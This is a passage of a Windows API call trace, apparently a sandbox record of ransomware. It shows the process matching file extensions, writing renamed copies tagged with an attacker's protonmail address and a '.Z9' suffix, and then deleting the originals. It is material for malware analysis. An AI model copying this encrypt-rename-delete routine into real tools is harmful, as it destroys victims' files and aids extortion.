	[0069.268] lstrlenW (lpString=".ppt") returned 4
	[0069.268] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0069.268] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.268] lstrlenW (lpString=".zip") returned 4
	[0069.268] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0069.268] lstrlenW (lpString=".rar") returned 4
	[0069.268] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0069.268] lstrlenW (lpString=".bz2") returned 4
	[0069.268] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0069.268] lstrlenW (lpString=".7z") returned 3
	[0069.268] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0069.268] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.268] lstrlenW (lpString=".dbf") returned 4
	[0069.268] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0069.269] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.269] lstrlenW (lpString=".1cd") returned 4
	[0069.269] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0069.269] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0069.269] lstrlenW (lpString=".jpg") returned 4
	[0069.269] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0069.269] lstrcmpiW (lpString1=".ini", lpString2=".Z9") returned -1
	[0069.269] lstrlenW (lpString="desktop.ini") returned 11
	[0069.269] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0069.269] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=129) returned 1
	[0069.269] CloseHandle (hObject=0x2c4) returned 1
	[0069.269] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0069.269] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.270] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0069.270] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.270] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.270] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.270] GetLastError () returned 0x0
	[0069.270] ReadFile (in: hFile=0x2c4, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x81, lpOverlapped=0x0) returned 1
	[0069.270] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x90, lpOverlapped=0x0) returned 1
	[0069.271] ReadFile (in: hFile=0x2c4, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.271] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1
	[0069.271] SetEndOfFile (hFile=0x2bc) returned 1
	[0069.272] CloseHandle (hObject=0x2bc) returned 1
	[0069.272] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.272] SetEndOfFile (hFile=0x2c4) returned 1
	[0069.273] CloseHandle (hObject=0x2c4) returned 1
	[0069.273] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x26) returned 1
	[0069.273] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1
	[0069.274] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.274] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.274] lstrlenW (lpString=".doc") returned 4
	[0069.274] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0069.274] lstrlenW (lpString=".docx") returned 5
	[0069.274] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0069.274] lstrlenW (lpString=".pdf") returned 4
	[0069.274] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0069.274] lstrlenW (lpString=".xls") returned 4
	[0069.274] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0069.274] lstrlenW (lpString=".xlsx") returned 5
	[0069.274] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0069.274] lstrlenW (lpString=".ppt") returned 4
	[0069.274] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0069.274] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.274] lstrlenW (lpString=".zip") returned 4
	[0069.274] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0069.274] lstrlenW (lpString=".rar") returned 4
	[0069.274] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0069.274] lstrlenW (lpString=".bz2") returned 4
	[0069.274] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0069.274] lstrlenW (lpString=".7z") returned 3
	[0069.274] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0069.274] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.274] lstrlenW (lpString=".dbf") returned 4
	[0069.274] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0069.274] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.274] lstrlenW (lpString=".1cd") returned 4
	[0069.274] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0069.275] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.275] lstrlenW (lpString=".jpg") returned 4
	[0069.275] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0069.275] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.275] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.275] lstrlenW (lpString=".doc") returned 4
	[0069.275] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0069.275] lstrlenW (lpString=".docx") returned 5
	[0069.275] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0069.275] lstrlenW (lpString=".pdf") returned 4
	[0069.275] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0069.275] lstrlenW (lpString=".xls") returned 4
	[0069.275] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0069.275] lstrlenW (lpString=".xlsx") returned 5
	[0069.275] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0069.275] lstrlenW (lpString=".ppt") returned 4
	[0069.275] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0069.275] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.275] lstrlenW (lpString=".zip") returned 4
	[0069.275] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0069.275] lstrlenW (lpString=".rar") returned 4
	[0069.275] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0069.275] lstrlenW (lpString=".bz2") returned 4
	[0069.275] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0069.275] lstrlenW (lpString=".7z") returned 3
	[0069.275] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0069.275] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.275] lstrlenW (lpString=".dbf") returned 4
	[0069.275] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0069.275] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.275] lstrlenW (lpString=".1cd") returned 4
	[0069.275] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0069.275] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0069.275] lstrlenW (lpString=".jpg") returned 4
	[0069.275] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0069.276] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0069.276] lstrlenW (lpString="eula.rtf") returned 8
	[0069.276] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.278] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7567) returned 1
	[0069.278] CloseHandle (hObject=0x2bc) returned 1
	[0069.278] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80
	[0069.278] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.278] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.278] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0069.280] GetLastError () returned 0x0
	[0069.280] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1d8f, lpOverlapped=0x0) returned 1
	[0069.468] WriteFile (in: hFile=0x2ec, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1d90, lpOverlapped=0x0) returned 1
	[0069.470] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.470] WriteFile (in: hFile=0x2ec, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0069.470] SetEndOfFile (hFile=0x2ec) returned 1
	[0069.470] CloseHandle (hObject=0x2ec) returned 1
	[0069.471] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.471] SetEndOfFile (hFile=0x2bc) returned 1
	[0069.472] CloseHandle (hObject=0x2bc) returned 1
	[0069.472] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.473] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1
	[0069.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.473] lstrlenW (lpString=".doc") returned 4
	[0069.473] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.473] lstrlenW (lpString=".docx") returned 5
	[0069.473] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.473] lstrlenW (lpString=".pdf") returned 4
	[0069.473] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.473] lstrlenW (lpString=".xls") returned 4
	[0069.473] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.473] lstrlenW (lpString=".xlsx") returned 5
	[0069.473] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.473] lstrlenW (lpString=".ppt") returned 4
	[0069.473] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.473] lstrlenW (lpString=".zip") returned 4
	[0069.473] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.473] lstrlenW (lpString=".rar") returned 4
	[0069.473] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.473] lstrlenW (lpString=".bz2") returned 4
	[0069.474] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.474] lstrlenW (lpString=".7z") returned 3
	[0069.474] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.474] lstrlenW (lpString=".dbf") returned 4
	[0069.474] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.474] lstrlenW (lpString=".1cd") returned 4
	[0069.474] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.474] lstrlenW (lpString=".jpg") returned 4
	[0069.474] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.474] lstrlenW (lpString=".doc") returned 4
	[0069.474] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.474] lstrlenW (lpString=".docx") returned 5
	[0069.474] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.474] lstrlenW (lpString=".pdf") returned 4
	[0069.474] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.474] lstrlenW (lpString=".xls") returned 4
	[0069.474] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.474] lstrlenW (lpString=".xlsx") returned 5
	[0069.474] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.474] lstrlenW (lpString=".ppt") returned 4
	[0069.474] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.474] lstrlenW (lpString=".zip") returned 4
	[0069.474] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.474] lstrlenW (lpString=".rar") returned 4
	[0069.475] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.475] lstrlenW (lpString=".bz2") returned 4
	[0069.475] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.475] lstrlenW (lpString=".7z") returned 3
	[0069.475] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.475] lstrlenW (lpString=".dbf") returned 4
	[0069.475] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.475] lstrlenW (lpString=".1cd") returned 4
	[0069.475] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0069.475] lstrlenW (lpString=".jpg") returned 4
	[0069.475] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.475] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0069.475] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0069.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.476] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=74214) returned 1
	[0069.476] CloseHandle (hObject=0x2bc) returned 1
	[0069.476] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80
	[0069.476] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.476] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.476] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.477] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0069.477] GetLastError () returned 0x0
	[0069.477] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x121e6, lpOverlapped=0x0) returned 1
	[0069.522] WriteFile (in: hFile=0x2ec, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x121f0, lpOverlapped=0x0) returned 1
	[0069.524] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.524] WriteFile (in: hFile=0x2ec, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0069.524] SetEndOfFile (hFile=0x2ec) returned 1
	[0069.524] CloseHandle (hObject=0x2ec) returned 1
	[0069.526] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.526] SetEndOfFile (hFile=0x2bc) returned 1
	[0069.528] CloseHandle (hObject=0x2bc) returned 1
	[0069.528] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.528] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1
	[0069.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.528] lstrlenW (lpString=".doc") returned 4
	[0069.528] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.528] lstrlenW (lpString=".docx") returned 5
	[0069.528] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.528] lstrlenW (lpString=".pdf") returned 4
	[0069.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.529] lstrlenW (lpString=".xls") returned 4
	[0069.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.529] lstrlenW (lpString=".xlsx") returned 5
	[0069.529] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.529] lstrlenW (lpString=".ppt") returned 4
	[0069.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.529] lstrlenW (lpString=".zip") returned 4
	[0069.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.529] lstrlenW (lpString=".rar") returned 4
	[0069.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.529] lstrlenW (lpString=".bz2") returned 4
	[0069.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.529] lstrlenW (lpString=".7z") returned 3
	[0069.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.529] lstrlenW (lpString=".dbf") returned 4
	[0069.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.529] lstrlenW (lpString=".1cd") returned 4
	[0069.529] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.529] lstrlenW (lpString=".jpg") returned 4
	[0069.529] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.529] lstrlenW (lpString=".doc") returned 4
	[0069.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.529] lstrlenW (lpString=".docx") returned 5
	[0069.529] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.529] lstrlenW (lpString=".pdf") returned 4
	[0069.530] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.530] lstrlenW (lpString=".xls") returned 4
	[0069.530] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.530] lstrlenW (lpString=".xlsx") returned 5
	[0069.530] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.530] lstrlenW (lpString=".ppt") returned 4
	[0069.530] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.530] lstrlenW (lpString=".zip") returned 4
	[0069.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.530] lstrlenW (lpString=".rar") returned 4
	[0069.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.530] lstrlenW (lpString=".bz2") returned 4
	[0069.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.530] lstrlenW (lpString=".7z") returned 3
	[0069.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.530] lstrlenW (lpString=".dbf") returned 4
	[0069.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.530] lstrlenW (lpString=".1cd") returned 4
	[0069.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
